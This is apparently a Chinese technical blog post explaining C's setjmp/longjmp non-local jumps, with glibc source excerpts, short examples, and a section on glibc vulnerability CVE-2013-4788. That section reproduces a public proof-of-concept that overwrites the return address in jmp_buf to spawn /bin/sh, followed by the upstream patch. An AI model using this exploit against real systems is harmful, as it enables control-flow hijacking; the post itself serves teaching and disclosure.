setjmp()、longjmp() Linux Exception Handling/Error Handling、no-local goto

目录

1. 应用场景
2. Use Case Code Analysis
3. 和setjmp、longjmp有关的glibc and eglibc 2.5, 2.7, 2.13 - Buffer Overflow Vulnerability

1. 应用场景

非局部跳转通常被用于实现将程序控制流转移到错误处理模块中;或者是通过这种非正常的函数返回机制,返回到之前调用的函数中

1. setjmp、longjmp的典型用途是异常处理机制的实现:利用longjmp恢复程序或线程的状态,甚至可以跳过栈中多层的函数调用

2. 在信号处理机制中,进程在检查收到的信号,会从原来的系统调用中直接返回,而不是等到该调用完成。这种进程突然改变其上下文的情况,就是通过使用setjmp和longjmp来实现的。setjmp将保存的上下文载入用户空间,并继续在旧的上下文中继续执行。这就是说,进程执行一个系统调用,当因为资源或其他原因要去睡眠时,内核为进程作了一次setjmp,如果在睡眠中被信号唤醒,进程不能再进入睡眠时,内核为进程调用longjmp,该操作是内核为进程将现在的上下文切换成原先通过setjmp调用保存在进程用户区的上下文,这样就使得进程可以恢复等待资源前的状态,而且内核为setjmp返回1,使得进程知道该次系统调用失败 

3. Linux的Kprobe机制使用setjmp、longjmp设置中断处理函数及回调函数

4. C语言中有一个goto语句,其可以结合标号实现函数内部的任意跳转(但是在大多数情况下,都建议不要使用goto语句,因为采用goto语句后,代码维护工作量加大,而且使得代码的结构性变得很差)。另外,C语言标准中还提供一种非局部跳转"no-local goto",其通过标准库<setjmp.h>中的两个标准函数setjmp和longjmp来实现 

0x1: 非局部跳转(no-local goto)实现原理

C语言的运行控制模型,是一个基于"栈结构"的"指令执行序列",表现出来就是call/return: call调用一个函数,然后return从一个函数返回。在这种运行控制模型中,每个函数调用都会对应着一个栈帧,其中保存了这个函数的参数、返回值地址、局部变量以及控制信息(从高地址向低地址生长)等内容。当调用一个函数时,系统会创建一个对应的栈帧压入栈中,而从一个函数返回时,则系统会将该函数对应的栈帧从栈顶退出。正常的函数跳转就是这样从栈顶一个一个栈帧逐级地返回

另外,系统内部有一些寄存器记录着当前系统的状态信息,其中包括当前栈顶位置、位于栈顶的栈帧位置以及其他一些系统信息(例如代码段,数据段等等)。这些寄存器指示了当前程序运行点的系统状态,可以称为程序点
在宏函数setjmp中就是将这些系统寄存器的内容保存到jmp_buf类型变量env中,然后在函数longjmp中将函数setjmp保存在变量env中的系统状态信息恢复,此时系统寄存器中指示的栈顶的栈帧就是调用宏函数setjmp时的栈顶的栈帧(这相当于直接强制修改栈帧的状态来改变程序流的目的)。于是,相当控制流跳过了中间的若干个函数调用对应的栈帧,到达setjmp所在那个函数的栈帧
这就是非局部跳转的实现机制,其不同于上面所说的call/return跳转机制

正是因为这种实现机制,需要特别注意的是:"包含setjmp()宏调用的函数一定不能终止"。如果该函数终止的话,该函数对应的栈帧也已经从系统栈中退出,于是setjmp()宏调用保存在env中的内容在longjmp函数恢复时,就不再是setjmp()宏调用所在程序点。此时,调用函数longjmp()就会出现不可预测的错误

Relevant Link:

http://www.cnblogs.com/lienhua34/archive/2012/04/22/2464859.html
https://msdn.microsoft.com/zh-cn/library/yz2ez4as.aspx

2. Use Case Code Analysis

1. 非局部跳转setjmp()
头文件<setjmp.h>中的说明提供了一种避免通常的函数调用和返回顺序的途径,特别的,它允许立即从一个多层嵌套的函数调用中返回
/*
#include <setjmp.h>
int setjmp(jmp_buf env);
*/
    1) setjmp()宏把当前状态信息保存到env中,供以后longjmp()恢复状态信息时使用
        1.1) 如果是直接调用setjmp(),那么返回值为0
        1.2) 如果是由于调用longjmp()而调用setjmp(),那么返回值非0
    2) setjmp()只能在某些特定情况下调用,如在if语句、switch语句及循环语句的条件测试部分以及一些简单的关系表达式中

2. 非局部跳转longjmp()
    1) longjmp()用于恢复由最近一次调用setjmp()时保存到env的状态信息。当它执行完时,程序就象setjmp()刚刚执行完并返回非0值val那样继续执行
    2) 值得注意的是,包含setjmp()宏调用的函数一定不能已经终止。如果setjmp所在的函数已经调用返回了,那么longjmp使用该处setjmp所填写的对应jmp_buf缓冲区将不再有效。这是因为longjmp所要返回的"栈帧"(stack frame)已经不再存在了,程序返回到一个不再存在的执行点,很可能覆盖或者弄坏程序栈
    3) 所有可访问的对象的值都与调用longjmp()时相同,唯一的例外是,那些调用setjmp()宏的函数中的非volatile自动变量如果在调用setjmp()后有了改变,那么就变成未定义的
/*
#include <setjmp.h>
void longjmp(jmp_buf env, int val);
*/

0x1: jmp_buf

jmp_buf是setjmp.h中定义的一个结构类型,其用于保存系统状态信息。宏函数setjmp会将其所在的程序点的系统状态信息保存到某个jmp_buf的结构变量env中,而调用函数longjmp会将宏函数setjmp保存在变量env中的系统状态信息进行恢复,于是系统就会跳转到setjmp()宏调用所在的程序点继续进行。这样setjmp/longjmp就实现了非局部跳转的功能

\glibc-2.18\setjmp\setjmp.h

/*
Calling environment, plus possibly a saved signal mask.
*/
struct __jmp_buf_tag
{
    /*
    NOTE: The machine-dependent definitions of `__sigsetjmp‘ assume that a `jmp_buf‘ begins with a `__jmp_buf‘ and that `__mask_was_saved‘ follows it.
    Do not move these members or add others before it.
    */
    __jmp_buf __jmpbuf;        /* Calling environment.  */
    int __mask_was_saved;        /* Saved the signal mask */
    __sigset_t __saved_mask;    /* Saved signal mask.    */
};

__BEGIN_NAMESPACE_STD

typedef struct __jmp_buf_tag jmp_buf[1];

将jmp_buf定义为一个数组,那么可以将数据分配在栈上,但是作为参数传递的时候传的是一个指针

0x2: setjmp

创建本地的jmp_buf缓冲区并且初始化,用于将来跳转回此处。这个子程序(setjmp)保存程序的调用环境于env参数所指的缓冲区,env将被longjmp使用。如果是从setjmp直接调用返回

\glibc-2.18\ports\sysdeps\aarch64\setjmp.S

/* Keep traditional entry points in with sigsetjmp(). */
ENTRY (setjmp)
    mov    x1, #1
    b    1f
END (setjmp)

ENTRY (_setjmp)
    mov    x1, #0
    b    1f
END (_setjmp)
libc_hidden_def (_setjmp)

ENTRY (__sigsetjmp)

1:
    stp    x19, x20, [x0, #JB_X19<<3]
    stp    x21, x22, [x0, #JB_X21<<3]
    stp    x23, x24, [x0, #JB_X23<<3]
    stp    x25, x26, [x0, #JB_X25<<3]
    stp    x27, x28, [x0, #JB_X27<<3]
    stp    x29, x30, [x0, #JB_X29<<3]
    stp     d8,  d9, [x0, #JB_D8<<3]
    stp    d10, d11, [x0, #JB_D10<<3]
    stp    d12, d13, [x0, #JB_D12<<3]
    stp    d14, d15, [x0, #JB_D14<<3]
    mov    x2,  sp
    str    x2,  [x0, #JB_SP<<3]
#if defined NOT_IN_libc && defined IS_IN_rtld
    /* In ld.so we never save the signal mask */
    mov    w0, #0
    RET
#else
    b    C_SYMBOL_NAME(__sigjmp_save)
#endif
END (__sigsetjmp)
hidden_def (__sigsetjmp)

code

/* setjmp example: error handling */
#include <stdio.h>      /* printf, scanf */
#include <stdlib.h>     /* exit */
#include <setjmp.h>     /* jmp_buf, setjmp, longjmp */

main()
{
    jmp_buf env;
    int val;

    /*
    setjmp会多次返回
    setjmp return value
    1. 正常调用(保存当前call的env): 返回0
    2. 调用longjmp返回: 取决于longjmp的第二个参数
        1) longjmp的第二个参数为非0: setjmp返回同样的值
        2) longjmp的第二个参数为0: setjmp返回1
    */
    val = setjmp (env);
    if (val)
    {
        fprintf (stderr,"Error %d happened\n",val);
        exit (val);
    }

    printf("Calling function.\n");
    longjmp (env,101);   /* signaling an error */

    return 0;
}

0x3: longjmp

恢复env所指的缓冲区中的程序调用环境上下文,env所指缓冲区的内容是由setjmp子程序调用所保存。value的值从longjmp传递给setjmp。longjmp完成后,程序从对应的setjmp调用处继续执行,如同setjmp调用刚刚完成

\glibc-2.18\sysdeps\x86_64\__longjmp.S

/* Jump to the position specified by ENV, causing the setjmp call there to return VAL, or 1 if VAL is 0. void __longjmp (__jmp_buf env, int val).  */
.text
ENTRY(__longjmp)
    /* Restore registers.  */
    mov (JB_RSP*8)(%rdi),%R8_LP
    mov (JB_RBP*8)(%rdi),%R9_LP
    mov (JB_PC*8)(%rdi),%RDX_LP
#ifdef PTR_DEMANGLE
    PTR_DEMANGLE (%R8_LP)
    PTR_DEMANGLE (%R9_LP)
    PTR_DEMANGLE (%RDX_LP)
# ifdef __ILP32__
    /* We ignored the high bits of the %rbp value because only the low
       bits are mangled.  But we cannot presume that %rbp is being used
       as a pointer and truncate it, so recover the high bits.  */
    movl (JB_RBP*8 + 4)(%rdi), %eax
    shlq $32, %rax
    orq %rax, %r9
# endif
#endif
    LIBC_PROBE (longjmp, 3, [email protected]%RDI_LP, -4@%esi, [email protected]%RDX_LP)
    /* We add unwind information for the target here.  */
    cfi_def_cfa(%rdi, 0)
    cfi_register(%rsp,%r8)
    cfi_register(%rbp,%r9)
    cfi_register(%rip,%rdx)
    cfi_offset(%rbx,JB_RBX*8)
    cfi_offset(%r12,JB_R12*8)
    cfi_offset(%r13,JB_R13*8)
    cfi_offset(%r14,JB_R14*8)
    cfi_offset(%r15,JB_R15*8)
    movq (JB_RBX*8)(%rdi),%rbx
    movq (JB_R12*8)(%rdi),%r12
    movq (JB_R13*8)(%rdi),%r13
    movq (JB_R14*8)(%rdi),%r14
    movq (JB_R15*8)(%rdi),%r15
    /* Set return value for setjmp.  */
    mov %esi, %eax
    mov %R8_LP,%RSP_LP
    movq %r9,%rbp
    LIBC_PROBE (longjmp_target, 3,
            [email protected]%RDI_LP, -4@%eax, [email protected]%RDX_LP)
    jmpq *%rdx
END (__longjmp)

code

/* longjmp example */
#include <stdio.h>      /* printf */
#include <setjmp.h>     /* jmp_buf, setjmp, longjmp */

main()
{
    jmp_buf env;
    int val;

    val=setjmp(env);

    printf ("val is %d\n",val);

    if (!val) longjmp(env, 1);

    return 0;
}

Relevant Link:

http://my.oschina.net/onethin/blog/27793
https://www-s.acm.illinois.edu/webmonkeys/book/c_guide/2.8.html
http://www.cplusplus.com/reference/csetjmp/setjmp/
http://www.cplusplus.com/reference/csetjmp/longjmp/
http://zh.wikipedia.org/wiki/Setjmp.h
http://nativeclient.googlecode.com/svn-history/r157/trunk/nacl/googleclient/native_client/scons-out/doc/html/setjmp_8h-source.html
http://www.cnblogs.com/hazir/p/c_setjmp_longjmp.html

3. 和setjmp、longjmp有关的glibc and eglibc 2.5, 2.7, 2.13 - Buffer Overflow Vulnerability

0x1: poc

CVE(CAN) ID: CVE-2013-4788
glibc是绝大多数Linux操作系统中C库的实现。
glibc 2.4 -2.17版本存在缓冲区溢出漏洞,攻击者可利用此漏洞在受影响应用上下文中执行任意代码

/*
 * $FILE: bug-mangle.c
 *
 * Comment: Proof of concept for glibc versions <= 2.17
 *
 * $VERSION$
 *
 * Author: Hector Marco <[email protected]>
 *         Ismael Ripoll <[email protected]>
 *
 * $LICENSE:
 * This program is free software; you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation; either version 2 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program; if not, write to the Free Software
 * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
 */

#include <stdio.h>
#include <setjmp.h>
#include <stdint.h>
#include <limits.h>

#ifdef __i386__
   #define ROTATE 0x9
   #define PC_ENV_OFFSET 0x14
#elif __x86_64__
   #define ROTATE 0x11
   #define PC_ENV_OFFSET 0x38
#elif __arm__
   #define ROTATE 0x0
   #define PC_ENV_OFFSET 0x24
#else
   #error The exploit does not support this architecture
#endif

unsigned long rol(uintptr_t value)
{
   // return (value << ROTATE) | (value >> (__WORDSIZE - ROTATE));
    unsigned long ret;
    asm volatile("xor %%fs:0x30, %0; rol $0x11, %0" : "=g"(ret) : "0"(value));
    return ret;
}

int hacked()
{
   printf("[+] hacked !!\n");
   system("/bin/sh");
}

int main(void)
{
   //jmp_buf用于保存恢复调用环境所需的信息
   jmp_buf env;
   uintptr_t *ptr_ret_env = (uintptr_t*) (((uintptr_t) env) + PC_ENV_OFFSET);

   printf("[+] Exploiting ...\n");
   if(setjmp(env) == 1)
   {
      printf("[-] Exploit failed.\n");
      return 0;
   }

   /*Overwrite env return address */
   *ptr_ret_env = rol((uintptr_t)hacked);

   longjmp(env, 1);

   printf("[-] Exploit failed.\n");
   return 0;
}

简单来说,就是通过覆盖jmp_buf中和返回地址有关的指针,来达到劫持CPU控制流的目的

0x2: pathc

diff -rupN glibc-2.17/csu/libc-start.c glibc-2.17-mangle-fix/csu/libc-start.c
--- glibc-2.17/csu/libc-start.c    2012-12-25 04:02:13.000000000 +0100
+++ glibc-2.17-mangle-fix/csu/libc-start.c    2013-07-10 00:13:48.000000000 +0200
@@ -38,6 +38,12 @@ extern void __pthread_initialize_minimal
    in thread local area.  */
 uintptr_t __stack_chk_guard attribute_relro;
 # endif
+
+# ifndef  THREAD_SET_POINTER_GUARD
+uintptr_t __pointer_chk_guard_local
+     attribute_relro attribute_hidden __attribute__ ((nocommon));
+# endif
+
 #endif

 #ifdef HAVE_PTR_NTHREADS
@@ -184,6 +190,14 @@ LIBC_START_MAIN (int (*main) (int, char
 # else
   __stack_chk_guard = stack_chk_guard;
 # endif
+    uintptr_t pointer_chk_guard = _dl_setup_pointer_guard (_dl_random,
+                          stack_chk_guard);
+# ifdef THREAD_SET_POINTER_GUARD
+      THREAD_SET_POINTER_GUARD (pointer_chk_guard);
+# else
+      __pointer_chk_guard_local = pointer_chk_guard;
+# endif
+
 #endif

   /* Register the destructor of the dynamic linker if there is any.  */

Relevant Link:

http://www.mra.net.cn/thread-17257-1-1.html
http://hmarco.org/bugs/patches/ptr_mangle-eglibc-2.17.patch
http://downloads.securityfocus.com/vulnerabilities/exploits/61183.c
http://sebug.net/vuldb/ssvid-82213

Copyright (c) 2014 LittleHann All rights reserved

时间: 2024-10-12 15:34:17

setjmp()、longjmp() Linux Exception Handling/Error Handling、no-local goto的相关文章

【Linux命令详解】9、在Linux下获取帮助—(help、man、info)

9.在linux系统下获取帮助 本节主要学习在linux系统下如何获取和使用帮助,这些命令有help.man.info等. 9.1 help: 可以查看内部Shell命令的帮助信息. 9.1.1 命令语法: help[选项][命令] 9.1.2选项参数: help命令选项含义: -d   显示命令简短的主题描述 -s   显示命令简短的语法描述 9.1.3 实例: 例1:查看能使用help命令查看帮助信息的命令. [[email protected] ~]# help     GNU bash,

转 InnoDB Error Handling

14.20.4 InnoDB Error Handling Error handling in InnoDB is not always the same as specified in the SQL standard. According to the standard, any error during an SQL statement should cause rollback of that statement. InnoDB sometimes rolls back only par

Error Handling and Exception

The default error handling in PHP is very simple.An error message with filename, line number and a message describing the error is sent to the browser. PHP has different error handling methods: Simple "die()" statements Custom errors and error t

Linux系统编程_7_进程环境之setjmp和longjmp函数

大家都知道C语言中goto关键字可以用来跳转,但你知道它的跳转范围是什么吗? goto语句只能在当前函数内不跳转,不能实现跨函数跳转: 为实现这一目的,Linux中引入了setjmp和longjmp,这两个函数对于处理发生深层嵌套函数调用中的出错情况非常有用. 函数声明: #include <setjmp.h> int setjmp(jmp_buf env); //env是jmp_buf类型,一般定义为全局变量 void longjmp(jmp_buf env, int val);   //v

Thinking in Java,Fourth Edition(Java 编程思想,第四版)学习笔记(十二)之Error Handling with Exceptions

The ideal time to catch an error is at compile time, before you even try to run the program. However, not all errors can be detected at compile time. To create a robust system, each component must be robust. By providing a consistent error-reporting

Erlang error handling

Erlang error handling Contents Preface try-catch Process link Erlang-way error handling OTP supervisor tree Restart process 0. Preface 说到容错处理,大概大家都会想到 try-catch 类结构,对于绝大多数传统语言来说,确实是这样.但是对于Erlang来说,容错处理是其一个核心特性,真正涉及到的是整个系统的设计,与 try-catch 无关:其核心是Erlang

linux setjmp与longjmp的使用

1.setjmp setjmp的工作原理: 调用这个函数的时候,它会保存执行现场,并返回0:之后调用longjmp,可恢复到setjmp保存的现场,setjmp再次返回,不过这次该函数返回非0 输出结果: 通过setjmp和longjmp捕获异常 参考链接: 宋宝华:让Linux的段错误(segmentation fault)不再是一个错误  https://mp.weixin.qq.com/s/cemhlZMqGOoLpzKe4Vm5TQ 原文地址:https://www.cnblogs.co

[RxJS] Error handling operator: catch

Most of the common RxJS operators are about transformation, combination or filtering, but this lesson is about a new category, error handling operators, and its most important operator: catch(). Basic catch( err => Observable): var foo = Rx.Observabl

MySQL Error Handling in Stored Procedures 2

Summary: this tutorial shows you how to use MySQL handler to handle exceptions or errors encountered in stored procedures. When an error occurs inside a stored procedure, it is important to handle it appropriately, such as continuing or exiting the c